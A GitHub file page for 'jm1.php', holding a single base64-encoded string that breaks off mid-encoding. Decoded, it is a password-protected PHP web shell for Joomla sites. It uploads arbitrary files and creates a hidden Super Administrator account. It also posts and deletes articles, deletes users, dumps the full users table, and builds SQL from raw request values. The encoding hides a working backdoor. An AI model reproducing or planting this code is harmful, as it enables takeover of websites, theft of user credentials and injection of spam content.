-
Notifications
You must be signed in to change notification settings - Fork 42
/
Copy pathjm1.php
1 lines (1 loc) · 15.5 KB
/
jm1.php
1
$jm_code = 'PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOw0KDQpAc2V0X3RpbWVfbGltaXQoNjApOw0KDQpkZWZpbmUoJ0FQSV9WRVJTSU9OJywgMi4wKTsNCmRlZmluZSgnUEFTU1dPUkRfRklMRScsICdwLnR4dCcpOw0KDQppZihmaWxlX2V4aXN0cyhQQVNTV09SRF9GSUxFKSkgew0KCUB1bmxpbmsoUEFTU1dPUkRfRklMRSk7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gYXJyYXlfdG9fanNvbiggJGFycmF5ICkNCnsNCiAgICBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHJldHVybiAnIicuYWRkc2xhc2hlcygkYXJyYXkpLiciJzsNCiAgICBpZiAoaXNfbnVtZXJpYygkYXJyYXkpKSByZXR1cm4gJGFycmF5Ow0KICAgIGlmICgkYXJyYXkgPT09IG51bGwpIHJldHVybiAnbnVsbCc7DQogICAgaWYgKCRhcnJheSA9PT0gdHJ1ZSkgcmV0dXJuICd0cnVlJzsNCiAgICBpZiAoJGFycmF5ID09PSBmYWxzZSkgcmV0dXJuICdmYWxzZSc7DQoNCiAgICAkYXNzb2MgPSBmYWxzZTsNCiAgICAkaSA9IDA7DQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrPT4kdil7DQogICAgICAgIGlmICgkayAhPT0gJGkrKyl7DQogICAgICAgICAgICAkYXNzb2MgPSB0cnVlOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICB9DQogICAgJHJlcyA9IGFycmF5KCk7DQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrPT4kdil7DQogICAgICAgICR2ID0gYXJyYXlfdG9fanNvbigkdik7DQogICAgICAgIGlmICgkYXNzb2Mpew0KICAgICAgICAgICAgJGsgPSAnIicuYWRkc2xhc2hlcygkaykuJyInOw0KICAgICAgICAgICAgJHYgPSAkay4nOicuJHY7DQogICAgICAgIH0NCiAgICAgICAgJHJlc1tdID0gJHY7DQogICAgfQ0KICAgICRyZXMgPSBpbXBsb2RlKCcsJywgJHJlcyk7DQogICAgcmV0dXJuICgkYXNzb2MpPyAneycuJHJlcy4nfScgOiAnWycuJHJlcy4nXSc7DQp9DQoNCmZ1bmN0aW9uIGdldF9mdWxsX3BhdGgoJGxpbmspIHsNCgkkZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQoJJGxldmVsc191cCA9IHN1YnN0cl9jb3VudChKUEFUSF9TSVRFLCAnLi4nKTsNCglmb3IoJGk9MDskaTwkbGV2ZWxzX3VwOyRpKyspIHsNCgkJcHJlZ19tYXRjaCgnLyhcL1teXC9dKykkLycsICRkaXIsICRtYXRjaGVzKTsNCgkJJGRpciA9IHByZWdfcmVwbGFjZSgnL1wvW15cL10rJC8nLCAnJywgJGRpcik7DQoJCSRsaW5rID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMV0sICcnLCAkbGluayk7DQoJfQ0KCQ0KCWlmKHN0cnBvcygkbGluaywgJ2h0dHAnKSAhPT0gMCkgew0KCQkkbGluayA9ICdodHRwJyAuIChlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkgPyAnJyA6ICdzJykgLiAnOi8vJyAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJGxpbms7DQoJfQ0KCQ0KCXJldHVybiAkbGluazsNCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQpkZWZpbmUoJ1NIRUxMX1BBU1NXT1JEJywgJ2E2YThjYjg3N2VlMTgyMTVmMmMwZmMyYTZjN2I0ZjJhJyk7DQpkZWZpbmUoJ01BWF9VUF9MRVZFTFMnLCAxMCk7DQoNCmlmKChlbXB0eSgkX0NPT0tJRVsncGFzc3dvcmQnXSkgJiYgZW1wdHkoJF9QT1NUWydwYXNzd29yZCddKSkgfHwgKCFlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICYmIG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICE9IFNIRUxMX1BBU1NXT1JEKSkgew0KCXByaW50ICc8Zm9ybSBtZXRob2Q9InBvc3QiPlBhc3N3b3JkIDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3b3JkIj48aW5wdXQgdHlwZT0ic3VibWl0Ij48L2Zvcm0+JzsNCn0NCg0KaWYoIWVtcHR5KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgbWQ1KCRfUE9TVFsncGFzc3dvcmQnXSkgPT0gU0hFTExfUEFTU1dPUkQpIHsNCglzZXRjb29raWUoJ3Bhc3N3b3JkJywgU0hFTExfUEFTU1dPUkQsIHRpbWUoKSArIDYwKjYwKjI0KTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JF9TRVJWRVJbJ1BIUF9TRUxGJ119Iik7DQoJZXhpdDsNCn0NCg0KaWYoZW1wdHkoJF9DT09LSUUpIHx8ICRfQ09PS0lFWydwYXNzd29yZCddICE9IFNIRUxMX1BBU1NXT1JEKSB7DQoJZXhpdDsNCn0NCg0KaWYoIWVtcHR5KCRfRklMRVNbJ2YnXSkpIHsNCgkkbmV3X3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKSAuICcvJyAuICRfRklMRVNbJ2YnXVsnbmFtZSddOw0KCWlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRuZXdfcGF0aCkpIHsNCgkJcHJpbnQgIjxhIGhyZWY9XCJ7JF9GSUxFU1snZiddWyduYW1lJ119XCI+eyRfRklMRVNbJ2YnXVsnbmFtZSddfTwvYT4iOw0KCX0NCgllbHNlIHsNCgkJcHJpbnQgIlVwbG9hZCBmYWlsZWQhIjsNCgl9DQoJZXhpdDsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsndWYnXSkgJiYgJF9SRVFVRVNUWyd1ZiddID09IDEpIHsNCglwcmludCAiPGZvcm0gbWV0aG9kPVwicG9zdFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPVwieyRfU0VSVkVSWydQSFBfU0VMRiddfVwiPjxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJmXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIj48L2Zvcm0+IjsNCglleGl0Ow0KfQ0KDQpkZWZpbmUoJ19KRVhFQycsIDEpOw0KZGVmaW5lKCdEUycsIERJUkVDVE9SWV9TRVBBUkFUT1IpOw0KDQokY291bnRlciA9IDA7DQokZGlyX3VwID0gJy4nIC4gRFM7DQpkbyB7DQoJJGZpbGVfZm91bmQgPSBmYWxzZTsNCgkkZmlsZV9wYXRoID0gJGRpcl91cCAuICdhZG1pbmlzdHJhdG9yJzsNCglpZihmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgew0KCQkkZmlsZV9mb3VuZCA9IHRydWU7DQoJfQ0KCWVsc2Ugew0KCQkkZGlyX3VwIC49ICcuLicgLiBEUzsNCgl9DQoJJGNvdW50ZXIrKzsNCn13aGlsZSghJGZpbGVfZm91bmQgJiYgJGNvdW50ZXIgPCBNQVhfVVBfTEVWRUxTKTsNCg0KZGVmaW5lKCdKUEFUSF9CQVNFJywgJGRpcl91cCk7DQoJDQpyZXF1aXJlX29uY2UgKCBKUEFUSF9CQVNFIC4gJ2luY2x1ZGVzJy5EUy4nZGVmaW5lcy5waHAnICk7DQpyZXF1aXJlX29uY2UgKCBKUEFUSF9CQVNFIC4gJ2luY2x1ZGVzJy5EUy4nZnJhbWV3b3JrLnBocCcgKTsNCg0KLy9kZWZpbmUoJ0pQQVRIX0NPTVBPTkVOVF9BRE1JTklTVFJBVE9SJywgZGlybmFtZShfX0ZJTEVfXykgLiAiL2FkbWluaXN0cmF0b3IiKTsNCmRlZmluZSgnSlBBVEhfQ09NUE9ORU5UX0FETUlOSVNUUkFUT1InLCBKUEFUSF9CQVNFIC4gRFMgLiAnYWRtaW5pc3RyYXRvcicgLiBEUyAuICdjb21wb25lbnRzJyAuIERTIC4gJ2NvbV9jb250ZW50Jyk7DQpyZXF1aXJlX29uY2UgSlBBVEhfQkFTRS4nL2luY2x1ZGVzL2ZyYW1ld29yay5waHAnOw0KLy8kYXBwID0gSkZhY3Rvcnk6OmdldEFwcGxpY2F0aW9uKCdzaXRlJyk7DQovL3JlcXVpcmVfb25jZSBKUEFUSF9CQVNFLicvaW5jbHVkZXMvZnJhbWV3b3JrLnBocCc7DQoNCg0KLy9lY2hvIEpQQVRIX0JBU0UuICIvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9jb250ZW50L21vZGVscy9hcnRpY2xlLnBocCI7DQpyZXF1aXJlX29uY2UgSlBBVEhfQkFTRS4gIi9jb21wb25lbnRzL2NvbV9jb250ZW50L21vZGVscy9hcnRpY2xlLnBocCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgLy9hZG1pbmlzdHJhdG9yL2NvbXBvbmVudHMvY29tX2NvbnRlbnQvbW9kZWxzDQoNCnJlcXVpcmVfb25jZShKUEFUSF9CQVNFLkRTLidjb21wb25lbnRzJy5EUy4nY29tX2NvbnRlbnQnLkRTLidoZWxwZXJzJy5EUy4ncm91dGUucGhwJyk7CQkJCQkJIA0KCQkJCQkJIA0KJGFwcCA9IEpGYWN0b3J5OjpnZXRBcHBsaWNhdGlvbignc2l0ZScsIGFycmF5KCdzZXNzaW9uJyA9PiBmYWxzZSkpOw0KJGFwcC0+aW5pdGlhbGlzZSgpOw0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd0aXRsZSddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydib2R5J10pKSB7DQoNCmZvcmVhY2goJF9SRVFVRVNUIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJJF9SRVFVRVNUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQp9DQoNCgkkbmV3X2FydGljbGUgPSBuZXcgQ29udGVudE1vZGVsQXJ0aWNsZSgpOw0KCSRkYXRlID0gZGF0ZSgkX1JFUVVFU1RbJ3B1Ymxpc2hfdXAnXSAuICcgJyAuIHJhbmQoMSwyMykuICc6JyAuIHJhbmQoMSw1OSkuICc6JyAuIHJhbmQoMSw1OSkpOw0KCSRkYXRhID0gYXJyYXkoDQoJCSdjYXRpZCcgPT4gJF9SRVFVRVNUWydjYXRpZCddLCAvL25ld3NhcnRpY2xlcw0KCQkndGl0bGUnID0+ICRfUkVRVUVTVFsndGl0bGUnXSwNCgkJJ2Z1bGx0ZXh0JyA9PiAkX1JFUVVFU1RbJ2JvZHknXSwNCgkJJ2ludHJvdGV4dCcgPT4gJF9SRVFVRVNUWydpbnRybyddLA0KCQknc3RhdGUnID0+ICRfUkVRVUVTVFsncHVibGlzaGVkJ10sDQogICAgICAgICdjcmVhdGVkX2J5JyA9PiAkX1JFUVVFU1RbJ2NyZWF0ZWRfYnknXSwNCiAgICAgICAgJ3B1Ymxpc2hfdXAnID0+ICRkYXRlLA0KCQknY3JlYXRlZCcgPT4gJGRhdGUsDQoJCSdhbGlhcycgPT4gJF9SRVFVRVNUWydhbGlhcyddLA0KCQknbGFuZ3VhZ2UnID0+ICRfUkVRVUVTVFsnbGFuZyddIC8vRk9STUFUIEVYQU1QTEU6IGVuLUdCDQoJKTsNCglpZighZW1wdHkoJF9SRVFVRVNUWydpZCddKSkgew0KCQkkZGF0YVsnaWQnXSA9ICRfUkVRVUVTVFsnaWQnXTsNCgl9DQoJJHRhYmxlID0gSlRhYmxlOjpnZXRJbnN0YW5jZSgnY29udGVudCcsICdKVGFibGUnLCBhcnJheSgpKTsNCgkvLyBCaW5kIGRhdGENCglpZiAoISR0YWJsZS0+YmluZCgkZGF0YSkpDQoJew0KCQlwcmludF9yKCR0YWJsZS0+Z2V0RXJyb3IoKSk7DQoJCXJldHVybiBmYWxzZTsNCgl9DQoJDQoJLy8gU3RvcmUgdGhlIGRhdGEuDQoJaWYgKCEkdGFibGUtPnN0b3JlKCkpDQoJew0KCQlwcmludF9yKCR0YWJsZS0+Z2V0RXJyb3IoKSk7DQoJfQ0KCQ0KCXByaW50IGpzb25fZW5jb2RlKGFycmF5KCJhcnRpY2xlX2lkIiA9PiAkdGFibGUtPmlkKSk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2lkMmRlbGV0ZSddKSkgew0KCSRyb3cgPSBKVGFibGU6OmdldEluc3RhbmNlKCdjb250ZW50JywgJ0pUYWJsZScpOw0KCSRyb3ctPmRlbGV0ZSgkX1JFUVVFU1RbJ2lkMmRlbGV0ZSddKTsNCn0NCg0KJGRiID0gSkZhY3Rvcnk6OmdldERCTygpOyAvLyBnZXQgZGF0YWJhc2Ugb2JqZWN0DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2FydGljbGVfaWQnXSkpIHsNCgkkYXJ0aWNsZV9pZCA9ICRfUkVRVUVTVFsnYXJ0aWNsZV9pZCddOw0KCSRzcWwgPSAiU0VMRUNUICogRlJPTSAjX19jb250ZW50IFdIRVJFIGlkPSciIC4gJF9SRVFVRVNUWydhcnRpY2xlX2lkJ10uIiciOyAvLyBwcmVwYXJlIHF1ZXJ5DQoNCgkkZGItPnNldFF1ZXJ5KCRzcWwpOyAvLyBhcHBseSBxdWVyeQ0KCSRhcnRpY2xlID0gJGRiLT5sb2FkT2JqZWN0KCk7IC8vIGV4ZWN1dGUgcXVlcnksIHJldHVybiByZXN1bHQgbGlzdA0KfQ0KDQppZighZW1wdHkoJGFydGljbGUpKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkYXJ0aWNsZSk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3VzZXJuYW1lMmRlbGV0ZSddKSkgew0KCSR1c2VyID0gSkZhY3Rvcnk6OmdldFVzZXIoJF9SRVFVRVNUWyd1c2VybmFtZTJkZWxldGUnXSk7DQoJaWYoJHVzZXItPmRlbGV0ZSgpKSB7DQoJCXByaW50ICJVc2VyIHskX1JFUVVFU1RbJ3VzZXJuYW1lMmRlbGV0ZSddfSBoYXMgYmVlbiBkZWxldGVkISI7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1c2VyX25hbWUnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsndXNlcl9wYXNzd29yZCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWyd1c2VyX2VtYWlsJ10pKSB7DQoJLyoNCiANCglJIGhhbmRsZSB0aGlzIGNvZGUgYXMgaWYgaXQgaXMgYSBzbmlwcGV0IG9mIGEgbWV0aG9kIG9yIGZ1bmN0aW9uISENCgkgDQoJRmlyc3Qgc2V0IHVwIHNvbWUgdmFyaWFibGVzL29iamVjdHMNCgkqLw0KCS8vIGdldCB0aGUgQUNMDQoJJGFjbCA9JiBKRmFjdG9yeTo6Z2V0QUNMKCk7DQoJIA0KCS8qIGdldCB0aGUgY29tX3VzZXIgcGFyYW1zICovDQoJIA0KCWppbXBvcnQoJ2pvb21sYS5hcHBsaWNhdGlvbi5jb21wb25lbnQuaGVscGVyJyk7IC8vIGluY2x1ZGUgbGlicmFyaWVzL2FwcGxpY2F0aW9uL2NvbXBvbmVudC9oZWxwZXIucGhwDQoJJHVzZXJzUGFyYW1zID0gJkpDb21wb25lbnRIZWxwZXI6OmdldFBhcmFtcyggJ2NvbV91c2VycycgKTsgLy8gbG9hZCB0aGUgUGFyYW1zDQoJIA0KCS8vICJnZW5lcmF0ZSIgYSBuZXcgSlVzZXIgT2JqZWN0DQoJJHVzZXIgPSBKRmFjdG9yeTo6Z2V0VXNlcigwKTsgLy8gaXQncyBpbXBvcnRhbnQgdG8gc2V0IHRoZSAiMCIgb3RoZXJ3aXNlIHlvdXIgYWRtaW4gdXNlciBpbmZvcm1hdGlvbiB3aWxsIGJlIGxvYWRlZA0KCSANCgkkZGF0YSA9IGFycmF5KCk7IC8vIGFycmF5IGZvciBhbGwgdXNlciBzZXR0aW5ncw0KCQ0KCSR1c2VydHlwZSA9ICdTdXBlciBBZG1pbmlzdHJhdG9yJzsNCgkgDQoJLy8gc2V0IHVwIHRoZSAibWFpbiIgdXNlciBpbmZvcm1hdGlvbg0KCQ0KCSRkYXRhWyduYW1lJ10gPSAnWmhhbm8gWmhhbm8nOyAvLyBhZGQgZmlyc3QtIGFuZCBsYXN0bmFtZQ0KCSRkYXRhWyd1c2VybmFtZSddID0gJF9SRVFVRVNUWyd1c2VyX25hbWUnXTsgLy8gYWRkIHVzZXJuYW1lDQoJJGRhdGFbJ2VtYWlsJ10gPSAkX1JFUVVFU1RbJ3VzZXJfZW1haWwnXTsgLy8gYWRkIGVtYWlsDQoJJGRhdGFbJ2dpZCddID0gMjQ7ICAvLyBnZW5lcmF0ZSB0aGUgZ2lkIGZyb20gdGhlIHVzZXJ0eXBlDQoJIA0KCS8qIG5vIG5lZWQgdG8gYWRkIHRoZSB1c2VydHlwZSwgaXQgd2lsbCBiZSBnZW5lcmF0ZWQgYXV0b21hdGljYWx5IGZyb20gdGhlIGdpZCAqLw0KCSANCgkkZGF0YVsncGFzc3dvcmQnXSA9ICRfUkVRVUVTVFsndXNlcl9wYXNzd29yZCddOyAvLyBzZXQgdGhlIHBhc3N3b3JkDQoJJGRhdGFbJ3Bhc3N3b3JkMiddID0gJF9SRVFVRVNUWyd1c2VyX3Bhc3N3b3JkJ107IC8vIGNvbmZpcm0gdGhlIHBhc3N3b3JkDQoJJGRhdGFbJ3NlbmRFbWFpbCddID0gMTsgLy8gc2hvdWxkIHRoZSB1c2VyIHJlY2VpdmUgc3lzdGVtIG1haWxzPw0KCSANCgkvKiBOb3cgd2UgY2FuIGRlY2lkZSwgaWYgdGhlIHVzZXIgd2lsbCBuZWVkIGFuIGFjdGl2YXRpb24gKi8NCgkkZGF0YVsnYmxvY2snXSA9IDA7IC8vIGRvbid0IGJsb2NrIHRoZSB1c2VyDQoJIA0KCWlmICghJHVzZXItPmJpbmQoJGRhdGEpKSB7IC8vIG5vdyBiaW5kIHRoZSBkYXRhIHRvIHRoZSBKVXNlciBPYmplY3QsIGlmIGl0IG5vdCB3b3Jrcy4uLi4NCgkJSkVycm9yOjpyYWlzZVdhcm5pbmcoJycsIEpUZXh0OjpfKCAkdXNlci0+Z2V0RXJyb3IoKSkpOyAvLyAuLi5yYWlzZSBhbiBXYXJuaW5nDQoJfQ0KCSANCglpZiAoISR1c2VyLT5zYXZlKCkpIHsgLy8gaWYgdGhlIHVzZXIgaXMgTk9UIHNhdmVkLi4uDQoJCUpFcnJvcjo6cmFpc2VXYXJuaW5nKCcnLCBKVGV4dDo6XyggJHVzZXItPmdldEVycm9yKCkpKTsgLy8gLi4ucmFpc2UgYW4gV2FybmluZw0KCX0NCgkgDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkdXNlci0+dXNlcm5hbWUgLiAiIGNyZWF0ZWQhIik7IC8vIGVsc2UgcmV0dXJuIHRoZSBuZXcgSlVzZXIgb2JqZWN0DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9jYXRzJ10pKSB7DQoJJGNhdF91cmxzID0gYXJyYXkoKTsNCgkkc3FsID0gIlNFTEVDVCAjX19jYXRlZ29yaWVzLmlkLCAjX19jYXRlZ29yaWVzLnRpdGxlLCAjX19tZW51LnBhdGggQVMgbWVudV9wYXRoLCBDT1VOVCgjX19jb250ZW50LmlkKSBBUyBjb3VudF9hcnRpY2xlcyBGUk9NICNfX2NhdGVnb3JpZXMgDQoJSU5ORVIgSk9JTiAjX19jb250ZW50IE9OICNfX2NhdGVnb3JpZXMuaWQgPSAjX19jb250ZW50LmNhdGlkIA0KCUlOTkVSIEpPSU4gI19fbWVudSBPTiAjX19jYXRlZ29yaWVzLmlkID0gUkVQTEFDRSgjX19tZW51LmxpbmssICdpbmRleC5waHA/b3B0aW9uPWNvbV9jb250ZW50JnZpZXc9Y2F0ZWdvcnkmbGF5b3V0PWJsb2cmaWQ9JywgJycpDQoJR1JPVVAgQlkgI19fY2F0ZWdvcmllcy5pZCBPUkRFUiBCWSAjX19jYXRlZ29yaWVzLnRpdGxlICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkY2F0cyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsNCglmb3IgKCRpPTAsJGxlbj1jb3VudCgkY2F0cyk7JGk8JGxlbjskaSsrKSB7DQoJCSRjYXRzWyRpXS0+cGF0aCA9IGdldF9mdWxsX3BhdGgoSlVSSTo6YmFzZSgpIC4gJGNhdHNbJGldLT5tZW51X3BhdGgpOw0KCQl1bnNldCgkY2F0c1skaV0tPm1lbnVfcGF0aCk7DQoJfQ0KCQ0KCWlmKGVtcHR5KCRjYXRzKSkgew0KCQkkc3FsID0gIlNFTEVDVCAjX19jYXRlZ29yaWVzLmlkLCAjX19jYXRlZ29yaWVzLnRpdGxlIEZST00gI19fY2F0ZWdvcmllcyAiOw0KCQkkZGItPnNldFF1ZXJ5KCRzcWwpOyAvLyBhcHBseSBxdWVyeQ0KCQkkY2F0cyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsNCgkJZm9yICgkaT0wLCRsZW49Y291bnQoJGNhdHMpOyRpPCRsZW47JGkrKykgew0KCQkJJGNhdHNbJGldLT5wYXRoID0gZ2V0X2Z1bGxfcGF0aChKVVJJOjpiYXNlKCkgLiAnaW5kZXgucGhwP29wdGlvbj1jb21fY29udGVudCZ2aWV3PWNhdGVnb3J5JmxheW91dD1ibG9nJmlkPScgLiAkY2F0c1skaV0tPmlkKTsNCgkJCSRjYXRzWyRpXS0+Y291bnRfYXJ0aWNsZXMgPSAnPyc7DQoJCX0NCgl9DQoJDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkY2F0cyk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF91c2VyJ10pKSB7DQoJJHNxbCA9ICJTRUxFQ1QgKiBGUk9NICNfX3VzZXJzICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkdXNlcnMgPSAkZGItPmxvYWRPYmplY3RMaXN0KCk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkdXNlcnMpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfYXJ0aWNsZXNfbGlzdCddKSkgew0KCSRvZmZzZXQgPSAwOw0KCSRhcnRpY2xlc19udW0gPSA1MDsNCgkkYWxsX2FydGljbGVzID0gYXJyYXkoKTsNCgkNCgkkY29uZCA9ICcnOw0KCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NlYXJjaF9ieV90aXRsZSddKSkgew0KCQkkY29uZCAuPSAiIEFORCAjX19jb250ZW50LnRpdGxlIExJS0UgJyV7JF9SRVFVRVNUWydzZWFyY2hfYnlfdGl0bGUnXX0lJyAiOw0KCX0NCgkNCglpZighZW1wdHkoJF9SRVFVRVNUWydzZWFyY2hfYnlfYm9keSddKSkgew0KCQkkY29uZCAuPSAiIEFORCAoI19fY29udGVudC5mdWxsdGV4dCBMSUtFICcleyRfUkVRVUVTVFsnc2VhcmNoX2J5X2JvZHknXX0lJyBPUiAjX19jb250ZW50LmludHJvdGV4dCBMSUtFICcleyRfUkVRVUVTVFsnc2VhcmNoX2J5X2JvZHknXX0lJykgIjsNCgl9DQoJDQoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2VhcmNoX2J5X2FsaWFzJ10pKSB7DQoJCSRjb25kIC49ICIgQU5EICNfX2NvbnRlbnQuYWxpYXMgTElLRSAnJXskX1JFUVVFU1RbJ3NlYXJjaF9ieV9hbGlhcyddfSUnICI7DQoJfQ0KCQ0KCWlmKGVtcHR5KCRjb25kKSkgew0KCQkkY29uZCA9ICcgQU5EIDI9MiAnOw0KCX0NCgkNCglkbyB7DQoJCSRzcWwgPSAiU0VMRUNUICNfX2NvbnRlbnQuaWQsICNfX2NvbnRlbnQudGl0bGUsICNfX2NvbnRlbnQuZnVsbHRleHQsICNfX2NvbnRlbnQuaW50cm90ZXh0LCAjX19jb250ZW50LmFsaWFzIEZST00gI19fY29udGVudCBXSEVSRSAxPTEgeyRjb25kfSBPUkRFUiBCWSBgdGl0bGVgIExJTUlUIHskb2Zmc2V0fSwgJGFydGljbGVzX251bSAiOyAvLyBwcmVwYXJlIHF1ZXJ5DQoJCSRkYi0+c2V0UXVlcnkoJHNxbCk7IC8vIGFwcGx5IHF1ZXJ5DQoJCSRhcnRpY2xlcyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsgLy8gZXhlY3V0ZSBxdWVyeSwgcmV0dXJuIHJlc3VsdCBsaXN0DQoJCSRhbGxfYXJ0aWNsZXMgKz0gJGFydGljbGVzOw0KCQkkb2Zmc2V0ICs9ICRhcnRpY2xlc19udW07DQoJfXdoaWxlKGNvdW50KCRhcnRpY2xlcykgPT0gJGFydGljbGVzX251bSk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkYWxsX2FydGljbGVzKTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnYXJ0aWNsZV9zZWZfdXJsJ10pKSB7DQoJJHNxbCA9ICJTRUxFQ1QgY2F0aWQsIGFsaWFzLCBsYW5ndWFnZSBGUk9NICNfX2NvbnRlbnQgV0hFUkUgaWQgPSAneyRfUkVRVUVTVFsnYXJ0aWNsZV9zZWZfdXJsJ119JyAiOw0KCSRkYi0+c2V0UXVlcnkoJHNxbCk7IC8vIGFwcGx5IHF1ZXJ5DQoJJGFydGljbGUgPSAkZGItPmxvYWRPYmplY3QoKTsgLy8gZXhlY3V0ZSBxdWVyeSwgcmV0dXJuIHJlc3VsdCBsaXN0DQoNCgkkc3FsID0gIlNFTEVDVCBwYXRoIEZST00gI19fbWVudSBXSEVSRSBsaW5rIExJS0UgJ2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdmlldz1jYXRlZ29yeSYlaWQ9eyRhcnRpY2xlLT5jYXRpZH0nICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkY2F0X3BhdGggPSAkZGItPmxvYWRPYmplY3QoKTsNCglpZihpc3NldCgkY2F0X3BhdGgtPnBhdGgpKSB7DQoJCSRzbHVnID0gJF9SRVFVRVNUWydhcnRpY2xlX3NlZl91cmwnXSAuICc6JyAuICRhcnRpY2xlLT5hbGlhczsNCgkJJGNhdHNsdWcgPSAkYXJ0aWNsZS0+Y2F0aWQgLiAnOicgLiAkY2F0X3BhdGgtPnBhdGg7DQoJCSRsaW5rID0gSlJvdXRlOjpfKENvbnRlbnRIZWxwZXJSb3V0ZTo6Z2V0QXJ0aWNsZVJvdXRlKCRzbHVnLCAkY2F0c2x1ZykpOw0KCQlpZighZW1wdHkoJGFydGljbGUtPmxhbmd1YWdlKSkgew0KCQkJJGxpbmsgPSBzdHJfcmVwbGFjZSgnaW5kZXgucGhwLycsICdpbmRleC5waHAvJyAuIHN1YnN0cigkYXJ0aWNsZS0+bGFuZ3VhZ2UsIDAsIDIpIC4gJy8nLCAkbGluayk7DQoJCX0NCgkJcHJpbnQgYXJyYXlfdG9fanNvbihnZXRfZnVsbF9wYXRoKCRsaW5rKSk7DQoJfQ0KCWVsc2Ugew0KCQlwcmludCBhcnJheV90b19qc29uKGdldF9mdWxsX3BhdGgoSlVSSTo6YmFzZSgpIC4gJ2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdmlldz1hcnRpY2xlJmlkPScgLiAkX1JFUVVFU1RbJ2FydGljbGVfc2VmX3VybCddKSk7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfbGFuZ3VhZ2VzJ10pKSB7DQoJaWYoY2xhc3NfZXhpc3RzKCdKTGFuZ3VhZ2VIZWxwZXInKSkgew0KCQkkbGFuZ3VhZ2VzID0gSkxhbmd1YWdlSGVscGVyOjpnZXRMYW5ndWFnZXMoKTsNCgkJcHJpbnQgYXJyYXlfdG9fanNvbigkbGFuZ3VhZ2VzKTsvL2xhbmdfY29kZSBJTkRFWCBJUyBVU0VEIEZPUiBJTlNFUlRJTkcgSU5UTyBDT05URU5UDQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfam1fdmVyc2lvbiddKSkgew0KCXByaW50IGFycmF5X3RvX2pzb24oSlZFUlNJT04pOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1cGxvYWRfZmlsZSddKSkgew0KCXByaW50ICc8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJteV9maWxlIj48aW5wdXQgdHlwZT0ic3VibWl0Ij48L2Zvcm0+JzsNCn0NCg0KaWYoIWVtcHR5KCRfRklMRVNbJ215X2ZpbGUnXSkpIHsNCgkkYmFzZV9uYW1lID0gYmFzZW5hbWUoJF9GSUxFU1snbXlfZmlsZSddWyduYW1lJ10pOw0KCWlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydteV9maWxlJ11bJ3RtcF9uYW1lJ10sICRiYXNlX25hbWUpKSB7DQoJC